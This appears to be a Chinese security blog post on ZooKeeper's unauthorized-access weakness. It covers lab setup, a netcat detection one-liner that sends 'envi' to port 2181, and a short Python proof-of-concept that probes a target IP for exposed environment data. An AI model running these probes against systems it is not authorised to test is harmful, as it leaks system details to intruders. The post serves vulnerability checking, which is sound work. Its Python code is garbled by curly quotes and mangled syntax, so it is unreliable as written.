ZooKeeper未授权访问漏洞总结

    科技2022-07-29  138

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

    文章目录

    前言一、ZooKeeper未授权访问漏洞?二、复现1.搭建环境2.检测方法 POC编写


    前言

    总结下常见的未授权漏洞

    一、ZooKeeper未授权访问漏洞?

    ZooKeeper是一个分布式的、开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。

    它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

    ZooKeeper默认开启2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获取系统大量的敏感信息,包括系统名称Java环境信息等。

    二、复现

    1.搭建环境

    在Centos中分别执行以下命令,开启ZooKeeper wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz tar -xzvf zookeeper-3.4.14.tar.gz cd zookeeper-3.4.14/conf mv zoo_sample.cfg zoo.cfg …/bin/zkServer.sh start # 启动

    2.检测方法

    kail下输入echo envi|nc 192.168.33.132 2181获取到结果证明存在此种漏洞

    POC编写

    可用os.open()执行系统命令进行检测或者

    import socket

    def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) flag = “envi” # envi # dump # reqs # ruok # stat s.send(flag) data = s.recv(1024) s.close() if ‘Environment’ in data: return u"Zookeeper Unauthorized access" except: pass

    def main(): ip = “” //这里改成你要验证的IP print check(ip, 2181, 2)

    if name == ‘main’: main()

    Processed: 0.011, SQL: 8